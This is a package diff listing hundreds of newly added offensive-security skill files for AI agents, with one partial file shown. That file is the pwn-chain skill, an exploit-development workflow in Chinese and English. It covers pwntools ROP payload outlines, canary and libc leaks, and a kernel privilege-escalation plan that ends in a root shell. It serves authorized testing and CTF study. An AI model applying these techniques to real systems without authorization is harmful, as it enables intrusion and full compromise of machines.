opencode-skills-collection 4.0.43 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,209 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: pwn-chain
|
|
3
|
+
description: "Go from reverse engineering to a working exploit: stack/heap/kernel pwn workflows with pwntools, libc-database, ROP, and stabilization from CTF to authorized remote targets."
|
|
4
|
+
risk: offensive
|
|
5
|
+
source: "https://github.com/zhaoxuya520/reverse-skill"
|
|
6
|
+
source_repo: "zhaoxuya520/reverse-skill"
|
|
7
|
+
source_type: community
|
|
8
|
+
date_added: "2026-08-25"
|
|
9
|
+
license: "MIT"
|
|
10
|
+
license_source: "https://github.com/zhaoxuya520/reverse-skill/blob/main/LICENSE"
|
|
11
|
+
---
|
|
12
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
13
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
14
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
15
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
16
|
+
|
|
17
|
+
> **Mandatory confirmation gate**
|
|
18
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
19
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
20
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
21
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
22
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
23
|
+
>
|
|
24
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
25
|
+
|
|
26
|
+
## When to Use
|
|
27
|
+
|
|
28
|
+
- A binary vulnerability is understood and needs a reliable exploit.
|
|
29
|
+
- Porting a CTF-style exploit to an authorized real-world target.
|
|
30
|
+
|
|
31
|
+
## 适用范围
|
|
32
|
+
|
|
33
|
+
当任务属于以下场景时使用本 skill:
|
|
34
|
+
|
|
35
|
+
1. **拿到二进制 + 已知漏洞点** — 静态/审计/fuzz 已经找到溢出/UAF/double free,需要从触发到拿 shell
|
|
36
|
+
2. **CTF 题已经本地通了,远程打不通** — 远端环境差异导致脚本失效,需要稳定化
|
|
37
|
+
3. **真实目标的二进制利用** — SRC / 红队场景下,已经识别到内存损坏漏洞,需要构造 RCE
|
|
38
|
+
4. **Linux 内核驱动的 ioctl bug** — 用户态触发,目标是提权到 root
|
|
39
|
+
|
|
40
|
+
**前提**:你已经知道"哪里炸了"。本 skill 不负责发现漏洞(那是 fuzzing / 审计),只负责"从漏洞点写出 exploit"。
|
|
41
|
+
|
|
42
|
+
### 与其他 skill 的分工
|
|
43
|
+
|
|
44
|
+
| 场景 | 用什么 |
|
|
45
|
+
|------|--------|
|
|
46
|
+
| 识别 custom VM / anti-debug / 复杂 obfuscation | `reverse-engineering/` |
|
|
47
|
+
| 从零打开二进制做静态分析 | `ida-reverse/` 或 `radare2/` |
|
|
48
|
+
| **有漏洞点,写 exploit 打通远程** | **本 skill** |
|
|
49
|
+
| 把 pwn 拿到的 shell 整合进完整攻击链 | `attack-chain/`(下游) |
|
|
50
|
+
|
|
51
|
+
`reverse-engineering/` 关注"理解程序在干什么"(模式识别、协议还原、解 CTF 题里的奇怪机制);本 skill 关注"把已经看懂的漏洞变成可执行的攻击"。两者经常配套使用,但分工清晰。
|
|
52
|
+
|
|
53
|
+
## 核心工作流
|
|
54
|
+
|
|
55
|
+
```text
|
|
56
|
+
Step 1: 确认漏洞类型 + 保护机制
|
|
57
|
+
├─ checksec ./vuln(NX / Canary / PIE / RELRO / Fortify)
|
|
58
|
+
├─ file ./vuln + readelf -d ./vuln
|
|
59
|
+
├─ 漏洞分类:栈溢出 / 格式化字符串 / 堆 (UAF/DF/OF) / 整数 / 竞态 / 内核
|
|
60
|
+
└─ → 决定走哪个 references/
|
|
61
|
+
|
|
62
|
+
Step 2: 选择利用策略
|
|
63
|
+
├─ NX 关 + 无 ASLR → 直接 shellcode
|
|
64
|
+
├─ NX 开 + 给 libc → ret2libc / one_gadget
|
|
65
|
+
├─ NX 开 + 不给 libc → leak 后 libc-database 反查
|
|
66
|
+
├─ 堆 → 按 glibc 版本对应技术 (tcache/fastbin/unsorted/large)
|
|
67
|
+
└─ 内核 → commit_creds / modprobe_path / core_pattern
|
|
68
|
+
|
|
69
|
+
Step 3: 准备 libc + gadget
|
|
70
|
+
├─ libc-database:./find puts 0x6f0
|
|
71
|
+
├─ ROPgadget --binary ./libc.so.6 --only "pop|ret"
|
|
72
|
+
├─ one_gadget ./libc.so.6
|
|
73
|
+
└─ 计算 base:leak_addr - libc.sym['puts']
|
|
74
|
+
|
|
75
|
+
Step 4: 写 pwntools 模板(本地 process)
|
|
76
|
+
├─ context.binary = ELF('./vuln')
|
|
77
|
+
├─ p = process('./vuln') / p = gdb.debug('./vuln','b *main+xx')
|
|
78
|
+
├─ payload = cyclic(N) + p64(ret) + ...
|
|
79
|
+
└─ p.interactive()
|
|
80
|
+
|
|
81
|
+
Step 5: 本地通
|
|
82
|
+
├─ 反复 attach + 看寄存器 + 调 offset
|
|
83
|
+
├─ 用 pwndbg/GEF 的 vmmap / heap / bins / telescope
|
|
84
|
+
└─ 跑通后切 remote()
|
|
85
|
+
|
|
86
|
+
Step 6: 远程稳定化
|
|
87
|
+
├─ libc 偏移:用 leak 反查 libc-database,不要拍脑袋
|
|
88
|
+
├─ 栈对齐:16-byte 不对齐 → movaps 崩 → 加一个 ret gadget
|
|
89
|
+
├─ 远程网络延迟 → recvuntil 精确锚字符串,禁用模糊 sleep
|
|
90
|
+
├─ 远程缓冲:sendlineafter 比 sendline 更稳
|
|
91
|
+
├─ 堆喷成功率:放大 spray 数量 + 留 padding chunk 防合并
|
|
92
|
+
└─ 多次跑:写 while True 验证成功率 ≥ 95%
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
## 典型场景
|
|
96
|
+
|
|
97
|
+
### 场景 1:远程 64 位二进制 (NX+PIE+canary, 给了 libc)
|
|
98
|
+
|
|
99
|
+
```text
|
|
100
|
+
已有:./vuln(64-bit ELF, NX, PIE, canary)+ ./libc.so.6 + nc host port
|
|
101
|
+
漏洞:read(buf, 0x200) 但 buf 只有 0x40 字节 → 栈溢出
|
|
102
|
+
保护:canary 拦住,PIE 让 .text 随机化
|
|
103
|
+
|
|
104
|
+
策略:
|
|
105
|
+
1. 先 leak canary(栈/格式化字符串/部分读)
|
|
106
|
+
2. 再 leak 一个 libc 函数地址(puts@got)
|
|
107
|
+
3. 用 libc.address = leaked - libc.sym['puts'] 算 libc base
|
|
108
|
+
4. one_gadget ./libc.so.6 选一个约束能满足的 magic gadget
|
|
109
|
+
5. payload = padding + canary + saved_rbp + (pop_rdi + bin_sh + system) 或直接 one_gadget
|
|
110
|
+
6. 加一个 ret gadget 修栈对齐(关键!)
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
完整模板参见 `references/stack-pwn.md`。
|
|
114
|
+
|
|
115
|
+
### 场景 2:Linux 内核驱动 ioctl 越界写 → 拿 root
|
|
116
|
+
|
|
117
|
+
```text
|
|
118
|
+
已有:vmlinux + bzImage + initramfs.cpio.gz + 自定义 vuln.ko
|
|
119
|
+
漏洞:ioctl(0x1337, ptr) 里 copy_from_user 长度可控 → kernel heap overflow (kmalloc-64 slab)
|
|
120
|
+
保护:SMEP, SMAP, KASLR, KPTI
|
|
121
|
+
|
|
122
|
+
策略:
|
|
123
|
+
1. 改 init 脚本拿到 root shell(CTF)或先 leak KASLR base 再继续(真实)
|
|
124
|
+
2. 通过 /proc/kallsyms(可能限权)或未初始化堆喷 leak 内核基址
|
|
125
|
+
3. 在 kmalloc-64 slab 里喷 tty_struct / msg_msg / pipe_buffer
|
|
126
|
+
4. 覆盖 vtable 指针指向用户态 → 不行(SMEP),改走 stack pivot + 内核 ROP
|
|
127
|
+
5. ROP 链:prepare_kernel_cred(0) → commit_creds → swapgs+iretq → 用户态 execve("/bin/sh")
|
|
128
|
+
6. 或更省事:覆盖 modprobe_path 为 "/tmp/x",写一个 /tmp/x,然后触发 modprobe
|
|
129
|
+
```
|
|
130
|
+
|
|
